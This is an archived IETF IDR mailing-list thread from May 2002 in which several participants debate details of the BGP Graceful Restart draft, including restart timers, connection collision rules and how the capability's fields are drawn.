X-Priority: 3 (Normal) Message-ID: <12012920610.20020503123900@psg.com> To: Yakov Rekhter Cc: idr@merit.edu Subject: Re: Last call on Graceful Restart In-Reply-To: <200205031933.g43JXFT96697@merlot.juniper.net> References: <200205031933.g43JXFT96697@merlot.juniper.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-idr@merit.edu Precedence: bulk Yakov, > is that it requires dynamic capability re-negotiation. While > I have nothing against dynamic capability re-negotiation, I think > it would be useful to have an option that doesn't require it. Oh, of course! I fully agree. I didn't mean to argue that your approach would not be useful, just shared my thoughts on this. I guess the document should include both approaches. Thank you Alex Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id PAA23813 for ; Fri, 3 May 2002 15:38:06 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id B305491319; Fri, 3 May 2002 15:37:28 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 6DFD89131B; Fri, 3 May 2002 15:37:28 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 6EC0091319 for ; Fri, 3 May 2002 15:37:23 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 3BCD55DDFB; Fri, 3 May 2002 15:37:23 -0400 (EDT) Delivered-To: idr@merit.edu Received: from psg.com (psg.com [147.28.0.62]) by segue.merit.edu (Postfix) with ESMTP id 140D85DDA3 for ; Fri, 3 May 2002 15:37:23 -0400 (EDT) Received: from 12-234-73-224.client.attbi.com ([12.234.73.224]) by psg.com with esmtp (Exim 3.36 #1) id 173irq-00092A-00; Fri, 03 May 2002 12:37:22 -0700 Date: Fri, 3 May 2002 12:36:43 -0700 From: Alex Zinin X-Mailer: The Bat! (v1.51) Personal Reply-To: Alex Zinin X-Priority: 3 (Normal) Message-ID: <6212783512.20020503123643@psg.com> To: Yakov Rekhter Cc: idr@merit.edu Subject: Re: Last call on Graceful Restart In-Reply-To: <200205031928.g43JSNT96395@merlot.juniper.net> References: <200205031928.g43JSNT96395@merlot.juniper.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-idr@merit.edu Precedence: bulk Yakov, > So, what is exactly the problem with making this work together with > the connection collision mechanism ? No problem. You said: > We'll add some text to say that a node has to be configured to prevent > a connection collision with an existing BGP connection that is in > Established state to causes closing of the newly created connection. - which is fine, except that I don't think "configured" is the right approach here. Alex Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id PAA23739 for ; Fri, 3 May 2002 15:34:59 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 1D8C19131A; Fri, 3 May 2002 15:34:19 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id DD6229131B; Fri, 3 May 2002 15:34:18 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id DE0E79131A for ; Fri, 3 May 2002 15:33:16 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 98A8C5DDFB; Fri, 3 May 2002 15:33:16 -0400 (EDT) Delivered-To: idr@merit.edu Received: from merlot.juniper.net (natint.juniper.net [207.17.136.129]) by segue.merit.edu (Postfix) with ESMTP id 40EFA5DDA3 for ; Fri, 3 May 2002 15:33:16 -0400 (EDT) Received: from juniper.net (garnet.juniper.net [172.17.28.17]) by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id g43JXFT96697; Fri, 3 May 2002 12:33:15 -0700 (PDT) (envelope-from yakov@juniper.net) Message-Id: <200205031933.g43JXFT96697@merlot.juniper.net> To: Alex Zinin Cc: idr@merit.edu Subject: Re: Last call on Graceful Restart In-Reply-To: Your message of "Fri, 03 May 2002 12:18:29 PDT." <9811689410.20020503121829@psg.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <50358.1020454395.1@juniper.net> Date: Fri, 03 May 2002 12:33:15 -0700 From: Yakov Rekhter Sender: owner-idr@merit.edu Precedence: bulk Alex, > >> This one: > >> > >> If the session does not get re-established within the "Restart Time" > >> that the peer advertised previously, the Receiving Speaker shall > >> delete all the stale routes from the peer that it is retaining. > > > In the case of an unplanned restart the receiving speaker will > > wait for the BGP Holdtime to expire anyway (and the Restart Time > > is expected to be less than the BGP Holdtime). > > This is what the draft says: > > When the Restarting Speaker restarts, the Receiving Speaker may or > may not detect the termination of the TCP session with the Restarting > Speaker, depending on the underlying TCP implementation, whether or > not [BGP-AUTH] is in use, and the specific circumstances of the > restart. > > For the cases where termination of the TCP connection is detected, > the receiving speaker would normally not have to wait. That is correct. However, going back to you proposal: One way of making sure unplanned restart is not hitless is (I think) to announce restart capability with no AFI/SAFI to the neighbors initially and update it when the admin requests the restart. Hence my first question above. I think this topic is quite important and there should be some info in the doc on this. is that it requires dynamic capability re-negotiation. While I have nothing against dynamic capability re-negotiation, I think it would be useful to have an option that doesn't require it. Yakov. Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id PAA23618 for ; Fri, 3 May 2002 15:31:01 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 8395D91317; Fri, 3 May 2002 15:30:12 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id E29E291318; Fri, 3 May 2002 15:30:11 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 8AC4291317 for ; Fri, 3 May 2002 15:30:09 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 1E3A85DE29; Fri, 3 May 2002 15:30:09 -0400 (EDT) Delivered-To: idr@merit.edu Received: from psg.com (psg.com [147.28.0.62]) by segue.merit.edu (Postfix) with ESMTP id BD1FA5DDFB for ; Fri, 3 May 2002 15:30:08 -0400 (EDT) Received: from 12-234-73-224.client.attbi.com ([12.234.73.224]) by psg.com with esmtp (Exim 3.36 #1) id 173ikn-0008tj-00; Fri, 03 May 2002 12:30:05 -0700 Date: Fri, 3 May 2002 12:29:25 -0700 From: Alex Zinin X-Mailer: The Bat! (v1.51) Personal Reply-To: Alex Zinin X-Priority: 3 (Normal) Message-ID: <7812345442.20020503122925@psg.com> To: Yakov Rekhter Cc: Eric Gray , idr@merit.edu Subject: Re: Last call on Graceful Restart In-Reply-To: <200205031923.g43JNbT96223@merlot.juniper.net> References: <200205031923.g43JNbT96223@merlot.juniper.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-idr@merit.edu Precedence: bulk Yakov, > Finally, this is not the first spec that uses this kind of format - other > specs use this kind of format as well. However, here we have fields whose length is not byte aligned (4 and 12 bits)... I think it's better to show bits in the "standard" format... Alex Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id PAA23572 for ; Fri, 3 May 2002 15:28:50 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id BEF3F91316; Fri, 3 May 2002 15:28:25 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 9265C91317; Fri, 3 May 2002 15:28:25 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 7E91291316 for ; Fri, 3 May 2002 15:28:24 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 3E2175DE29; Fri, 3 May 2002 15:28:24 -0400 (EDT) Delivered-To: idr@merit.edu Received: from merlot.juniper.net (natint.juniper.net [207.17.136.129]) by segue.merit.edu (Postfix) with ESMTP id DB3D45DDFB for ; Fri, 3 May 2002 15:28:23 -0400 (EDT) Received: from juniper.net (garnet.juniper.net [172.17.28.17]) by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id g43JSNT96395; Fri, 3 May 2002 12:28:23 -0700 (PDT) (envelope-from yakov@juniper.net) Message-Id: <200205031928.g43JSNT96395@merlot.juniper.net> To: Alex Zinin Cc: idr@merit.edu Subject: Re: Last call on Graceful Restart In-Reply-To: Your message of "Fri, 03 May 2002 12:18:29 PDT." <9811689410.20020503121829@psg.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <49023.1020454103.1@juniper.net> Date: Fri, 03 May 2002 12:28:23 -0700 From: Yakov Rekhter Sender: owner-idr@merit.edu Precedence: bulk Alex, [clipped..] > >> > So, not closing connection in the case of a connection collision with > >> > an existing BGP connection is a *configuration* option. > >> > >> What I mean is that implementations will most probably > >> override the collision detection logic directly in the code > >> rather than wait for configuration from the admin. > > > this seems like an implementation issue... > > > All the protocol spec has to say is that an implementation should > > not close the newly created connection. > > Exactly, I wanted to point out that making this a configurable > option _within_ the restart is not required. In this case let's go back to your comment that prompted all this: >> How does this work together with the connection collision mechanism? >> > what do you think is the problem here ? Here's what we have in 6.8 of the BGP spec: Unless allowed via configuration, a connection collision with an existing BGP connection that is in Established state causes closing of the newly created connection. So, what is exactly the problem with making this work together with the connection collision mechanism ? Yakov. Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id PAA23457 for ; Fri, 3 May 2002 15:24:11 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id A75D491315; Fri, 3 May 2002 15:23:41 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 72A1791316; Fri, 3 May 2002 15:23:41 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 62E5C91315 for ; Fri, 3 May 2002 15:23:40 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 29DBD5DE29; Fri, 3 May 2002 15:23:40 -0400 (EDT) Delivered-To: idr@merit.edu Received: from merlot.juniper.net (natint.juniper.net [207.17.136.129]) by segue.merit.edu (Postfix) with ESMTP id 91FF35DDFF for ; Fri, 3 May 2002 15:23:39 -0400 (EDT) Received: from juniper.net (garnet.juniper.net [172.17.28.17]) by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id g43JNbT96223; Fri, 3 May 2002 12:23:37 -0700 (PDT) (envelope-from yakov@juniper.net) Message-Id: <200205031923.g43JNbT96223@merlot.juniper.net> To: Eric Gray Cc: idr@merit.edu Subject: Re: Last call on Graceful Restart In-Reply-To: Your message of "Fri, 03 May 2002 14:33:17 EDT." <3CD2D7ED.BEC7B07B@sandburst.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <47660.1020453817.1@juniper.net> Date: Fri, 03 May 2002 12:23:37 -0700 From: Yakov Rekhter Sender: owner-idr@merit.edu Precedence: bulk Eric, > What I normally see in an RFCs is as Alex describes only the result > would be something like this: > > 0 1 2 3 > 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 > +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ > | Flags | Restart Time | Address Family ID | > +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ > | SAFI ID | AF Flags | ... Additional AF Info | > +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ > : ... : > +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ > | AF info continued ... | > +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ > > It is clear that this 'picture' can be derived from the text, but the > 'picture' in the current text gives the first impression that the fields > are the same length - in spite of the fact that the number of bits makes > it clear (eventually) that this is not the case... The text seems to be pretty clear than each field has its own length as each field has in parenthesis its lenght: +--------------------------------------------------+ | Restart Flags (4 bits) | +--------------------------------------------------+ | Restart Time in seconds (12 bits) | +--------------------------------------------------+ | Address Family Identifier (16 bits) | +--------------------------------------------------+ | Subsequent Address Family Identifier (8 bits) | +--------------------------------------------------+ | Flags for Address Family (8 bits) | +--------------------------------------------------+ | ... | +--------------------------------------------------+ | Address Family Identifier (16 bits) | +--------------------------------------------------+ | Subsequent Address Family Identifier (8 bits) | +--------------------------------------------------+ | Flags for Address Family (8 bits) | +--------------------------------------------------+ Moreover, the advantage of the current text is that it eliminates the need to have any abbreviations (e.g., "Flags for Address Family", rather than "AF Flags"). Finally, this is not the first spec that uses this kind of format - other specs use this kind of format as well. Yakov. Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id PAA23366 for ; Fri, 3 May 2002 15:21:20 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 1997E91313; Fri, 3 May 2002 15:20:55 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id DF2E891315; Fri, 3 May 2002 15:20:54 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 98E6191313 for ; Fri, 3 May 2002 15:19:12 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 577E45DDFF; Fri, 3 May 2002 15:19:12 -0400 (EDT) Delivered-To: idr@merit.edu Received: from psg.com (psg.com [147.28.0.62]) by segue.merit.edu (Postfix) with ESMTP id 2E8605DDFB for ; Fri, 3 May 2002 15:19:12 -0400 (EDT) Received: from 12-234-73-224.client.attbi.com ([12.234.73.224]) by psg.com with esmtp (Exim 3.36 #1) id 173iaF-0008fF-00; Fri, 03 May 2002 12:19:11 -0700 Date: Fri, 3 May 2002 12:18:29 -0700 From: Alex Zinin X-Mailer: The Bat! (v1.51) Personal Reply-To: Alex Zinin X-Priority: 3 (Normal) Message-ID: <9811689410.20020503121829@psg.com> To: Yakov Rekhter Cc: idr@merit.edu Subject: Re: Last call on Graceful Restart In-Reply-To: <200205031910.g43JAVT95396@merlot.juniper.net> References: <200205031910.g43JAVT95396@merlot.juniper.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-idr@merit.edu Precedence: bulk Yakov, >> This one: >> >> If the session does not get re-established within the "Restart Time" >> that the peer advertised previously, the Receiving Speaker shall >> delete all the stale routes from the peer that it is retaining. > In the case of an unplanned restart the receiving speaker will > wait for the BGP Holdtime to expire anyway (and the Restart Time > is expected to be less than the BGP Holdtime). This is what the draft says: When the Restarting Speaker restarts, the Receiving Speaker may or may not detect the termination of the TCP session with the Restarting Speaker, depending on the underlying TCP implementation, whether or not [BGP-AUTH] is in use, and the specific circumstances of the restart. For the cases where termination of the TCP connection is detected, the receiving speaker would normally not have to wait. >> > So, not closing connection in the case of a connection collision with >> > an existing BGP connection is a *configuration* option. >> >> What I mean is that implementations will most probably >> override the collision detection logic directly in the code >> rather than wait for configuration from the admin. > this seems like an implementation issue... > All the protocol spec has to say is that an implementation should > not close the newly created connection. Exactly, I wanted to point out that making this a configurable option _within_ the restart is not required. Alex Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id PAA23052 for ; Fri, 3 May 2002 15:11:13 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id E1FFA91311; Fri, 3 May 2002 15:10:33 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id A93D191312; Fri, 3 May 2002 15:10:33 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 9D8BE91311 for ; Fri, 3 May 2002 15:10:32 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 69DD65DDFF; Fri, 3 May 2002 15:10:32 -0400 (EDT) Delivered-To: idr@merit.edu Received: from merlot.juniper.net (natint.juniper.net [207.17.136.129]) by segue.merit.edu (Postfix) with ESMTP id F27D65DDEA for ; Fri, 3 May 2002 15:10:31 -0400 (EDT) Received: from juniper.net (garnet.juniper.net [172.17.28.17]) by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id g43JAVT95396; Fri, 3 May 2002 12:10:31 -0700 (PDT) (envelope-from yakov@juniper.net) Message-Id: <200205031910.g43JAVT95396@merlot.juniper.net> To: Alex Zinin Cc: idr@merit.edu Subject: Re: Last call on Graceful Restart In-Reply-To: Your message of "Fri, 03 May 2002 11:58:40 PDT." <11410500152.20020503115840@psg.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <43696.1020453031.1@juniper.net> Date: Fri, 03 May 2002 12:10:31 -0700 From: Yakov Rekhter Sender: owner-idr@merit.edu Precedence: bulk Alex, > >> > Or just set the Forwarding State bit to 1 after a planned restart, > >> > and to 0 in all other cases. > >> > >> I thought about this as well. The disadvantage is that the Receiving > >> Speaker will still wait until the new session is established or > >> the timer expires. > > > which timer are you referring to ? > > This one: > > If the session does not get re-established within the "Restart Time" > that the peer advertised previously, the Receiving Speaker shall > delete all the stale routes from the peer that it is retaining. In the case of an unplanned restart the receiving speaker will wait for the BGP Holdtime to expire anyway (and the Restart Time is expected to be less than the BGP Holdtime). > >> Right, except that this is not a configuration option. > > > >>From bgp-4 (section 6.8): > > > Unless allowed via configuration, a connection collision with an > > existing BGP connection that is in Established state causes closing > > of the newly created connection. > > > So, not closing connection in the case of a connection collision with > > an existing BGP connection is a *configuration* option. > > What I mean is that implementations will most probably > override the collision detection logic directly in the code > rather than wait for configuration from the admin. this seems like an implementation issue... All the protocol spec has to say is that an implementation should not close the newly created connection. Yakov. Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id PAA22899 for ; Fri, 3 May 2002 15:04:43 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id A43119130F; Fri, 3 May 2002 15:04:20 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 6D80C91310; Fri, 3 May 2002 15:04:20 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 3F4689130F for ; Fri, 3 May 2002 15:04:19 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 07E745DDEA; Fri, 3 May 2002 15:04:19 -0400 (EDT) Delivered-To: idr@merit.edu Received: from presque.djinesys.com (dns.nexthop.com [64.211.218.216]) by segue.merit.edu (Postfix) with ESMTP id 8FD405DDF3 for ; Fri, 3 May 2002 15:04:18 -0400 (EDT) Received: (from root@localhost) by presque.djinesys.com (8.11.3/8.11.1) id g43J4CI03569; Fri, 3 May 2002 15:04:12 -0400 (EDT) (envelope-from jhaas@nexthop.com) Received: from jhaas.nexthop.com (jhaas.nexthop.com [64.211.218.31]) by presque.djinesys.com (8.11.3/8.11.1) with ESMTP id g43J49O03561; Fri, 3 May 2002 15:04:09 -0400 (EDT) (envelope-from jhaas@nexthop.com) Received: (from jhaas@localhost) by jhaas.nexthop.com (8.11.0/8.11.0) id g43J49V06997; Fri, 3 May 2002 15:04:09 -0400 (EDT) Date: Fri, 3 May 2002 15:04:09 -0400 From: Jeffrey Haas To: Yakov Rekhter Cc: idr@merit.edu Subject: Re: Last call on Graceful Restart Message-ID: <20020503150409.K27013@nexthop.com> References: <20020503131945.I27013@nexthop.com> <200205031852.g43IqlT94170@merlot.juniper.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200205031852.g43IqlT94170@merlot.juniper.net>; from yakov@juniper.net on Fri, May 03, 2002 at 11:52:47AM -0700 X-Virus-Scanned: by AMaViS perl-11 Sender: owner-idr@merit.edu Precedence: bulk Yakov, On Fri, May 03, 2002 at 11:52:47AM -0700, Yakov Rekhter wrote: > > > How about if we'll replace the last sentence in the above with > > > the following: > > > > > > When a sender of this capability doesn't include any > > Sub-AFI> in the capability, it means that the sender is not > > > capable of preserving its forwarding state during BGP restart, > > > but is going to generate the End-of-RIB marker upon the completion > > > of its initial routing updates. The value of the "Restart Time" > > > field is irrelevant in that case. > > > > But in this case, are we now requiring the speaker support mp ipv4/unicast > > in order to use graceful restart? > > Please point to the text that said so. I think I was unclear. You said above: : When a sender of this capability doesn't include any in the capability, it means that the sender is not : capable of preserving its forwarding state during BGP restart, Ergo, the absence of any afi/safi tuples says we don't preserve our forwarding state. Yet, if we don't at least put ipv4/u, we can't gracefully restart bgp without the mp-extensions and indicate that we preserve our forwarding state. However, the presence of an afi/safi indicates to me that we support the mp attributes. If this isn't the case, we should say that "ipv4/unicast will be sent even if the ipv4/unicast mp capability is not supported to indicate forwarding will be preserved". > Yakov. -- Jeff Haas NextHop Technologies Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id OAA22668 for ; Fri, 3 May 2002 15:00:00 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 1361C9130E; Fri, 3 May 2002 14:59:35 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id CED939130F; Fri, 3 May 2002 14:59:34 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 9C7FB9130E for ; Fri, 3 May 2002 14:59:33 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 61DA35DDFB; Fri, 3 May 2002 14:59:33 -0400 (EDT) Delivered-To: idr@merit.edu Received: from psg.com (psg.com [147.28.0.62]) by segue.merit.edu (Postfix) with ESMTP id 364F85DDEA for ; Fri, 3 May 2002 14:59:33 -0400 (EDT) Received: from 12-234-73-224.client.attbi.com ([12.234.73.224]) by psg.com with esmtp (Exim 3.36 #1) id 173iHE-0008CF-00; Fri, 03 May 2002 11:59:32 -0700 Date: Fri, 3 May 2002 11:58:40 -0700 From: Alex Zinin X-Mailer: The Bat! (v1.51) Personal Reply-To: Alex Zinin X-Priority: 3 (Normal) Message-ID: <11410500152.20020503115840@psg.com> To: Yakov Rekhter Cc: idr@merit.edu Subject: Re: Last call on Graceful Restart In-Reply-To: <200205031850.g43IocT94036@merlot.juniper.net> References: <200205031850.g43IocT94036@merlot.juniper.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-idr@merit.edu Precedence: bulk Yakov, >> > Or just set the Forwarding State bit to 1 after a planned restart, >> > and to 0 in all other cases. >> >> I thought about this as well. The disadvantage is that the Receiving >> Speaker will still wait until the new session is established or >> the timer expires. > which timer are you referring to ? This one: If the session does not get re-established within the "Restart Time" that the peer advertised previously, the Receiving Speaker shall delete all the stale routes from the peer that it is retaining. >> Right, except that this is not a configuration option. >>From bgp-4 (section 6.8): > Unless allowed via configuration, a connection collision with an > existing BGP connection that is in Established state causes closing > of the newly created connection. > So, not closing connection in the case of a connection collision with > an existing BGP connection is a *configuration* option. What I mean is that implementations will most probably override the collision detection logic directly in the code rather than wait for configuration from the admin. >> How about some small beautifications: >> >> > Once the session is re-established, if the "Forwarding State" bit for >> > an address family is not set in the received Graceful Restart >> ^ >> "newly" > ok. >> > Capability, or if the capability is not received for an address >> > family, ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ >> ^^^^^^-> change to: >> >> "or if a specific address family is included in it, or > This is incorrect - if the specific address family is included, then you > certainly do *not* immediately remote all the routes for that address > familiy. Of course, I wanted to say "not included", sorry. >> if the Graceful Restart Capability is not received for the new >> session at all," > Capability is not "for the new session", but for *address family*. The case I have in mind is the new session coming up and the restarting speaker not announcing the restart capability at all or not including a specific AFI/SAFI it did previously. The words above map to the former (no cap at all). Alex Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id OAA22535 for ; Fri, 3 May 2002 14:53:30 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 772559130D; Fri, 3 May 2002 14:52:51 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 406AF9130E; Fri, 3 May 2002 14:52:51 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 309EF9130D for ; Fri, 3 May 2002 14:52:50 -0400 (EDT) Received: by segue.merit.edu (Postfix) id EDA2E5DDFB; Fri, 3 May 2002 14:52:49 -0400 (EDT) Delivered-To: idr@merit.edu Received: from merlot.juniper.net (natint.juniper.net [207.17.136.129]) by segue.merit.edu (Postfix) with ESMTP id 672D75DDEA for ; Fri, 3 May 2002 14:52:49 -0400 (EDT) Received: from juniper.net (garnet.juniper.net [172.17.28.17]) by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id g43IqlT94170; Fri, 3 May 2002 11:52:48 -0700 (PDT) (envelope-from yakov@juniper.net) Message-Id: <200205031852.g43IqlT94170@merlot.juniper.net> To: Jeffrey Haas Cc: idr@merit.edu Subject: Re: Last call on Graceful Restart In-Reply-To: Your message of "Fri, 03 May 2002 13:19:45 EDT." <20020503131945.I27013@nexthop.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <37886.1020451967.1@juniper.net> Date: Fri, 03 May 2002 11:52:47 -0700 From: Yakov Rekhter Sender: owner-idr@merit.edu Precedence: bulk Jeff, [clipped...] > > How about if we'll replace the last sentence in the above with > > the following: > > > > When a sender of this capability doesn't include any > Sub-AFI> in the capability, it means that the sender is not > > capable of preserving its forwarding state during BGP restart, > > but is going to generate the End-of-RIB marker upon the completion > > of its initial routing updates. The value of the "Restart Time" > > field is irrelevant in that case. > > But in this case, are we now requiring the speaker support mp ipv4/unicast > in order to use graceful restart? Please point to the text that said so. Yakov. Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id OAA22487 for ; Fri, 3 May 2002 14:51:03 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id E3FBD9130C; Fri, 3 May 2002 14:50:40 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id AB4EC9130D; Fri, 3 May 2002 14:50:40 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 526399130C for ; Fri, 3 May 2002 14:50:39 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 1E2D85DDFB; Fri, 3 May 2002 14:50:39 -0400 (EDT) Delivered-To: idr@merit.edu Received: from merlot.juniper.net (natint.juniper.net [207.17.136.129]) by segue.merit.edu (Postfix) with ESMTP id 8BAF45DDEA for ; Fri, 3 May 2002 14:50:38 -0400 (EDT) Received: from juniper.net (garnet.juniper.net [172.17.28.17]) by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id g43IocT94036; Fri, 3 May 2002 11:50:38 -0700 (PDT) (envelope-from yakov@juniper.net) Message-Id: <200205031850.g43IocT94036@merlot.juniper.net> To: Alex Zinin Cc: idr@merit.edu Subject: Re: Last call on Graceful Restart In-Reply-To: Your message of "Fri, 03 May 2002 11:39:45 PDT." <1499365354.20020503113945@psg.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <37251.1020451837.1@juniper.net> Date: Fri, 03 May 2002 11:50:38 -0700 From: Yakov Rekhter Sender: owner-idr@merit.edu Precedence: bulk Alex, > >> >> - Can the restart capability be dynamically updated? > >> > >> missed an answer here :) > > > I hope my co-author (Enke) will provide you with one :-) > > Yep, got it :) > > >> I'm not sure I agree here. The Receiving Speakers cannot > >> tell the difference between a planned and an unplanned > >> tear down of the transport connection. One way of making sure > >> unplanned restart is not hitless is (I think) to announce > >> restart capability with no AFI/SAFI to the neighbors initially > >> and update it when the admin requests the restart. Hence my first > >> question above. I think this topic is quite important and there > >> should be some info in the doc on this. > > > Or just set the Forwarding State bit to 1 after a planned restart, > > and to 0 in all other cases. > > I thought about this as well. The disadvantage is that the Receiving > Speaker will still wait until the new session is established or > the timer expires. which timer are you referring to ? > >> Here's what we have in 6.8 of the BGP spec: > >> > >> Unless allowed via configuration, a connection collision with an > >> existing BGP connection that is in Established state causes > >> closing of the newly created connection. > > > We'll add some text to say that a node has to be configured to prevent > > a connection collision with an existing BGP connection that is in > > Established state to causes closing of the newly created connection. > > Right, except that this is not a configuration option. >From bgp-4 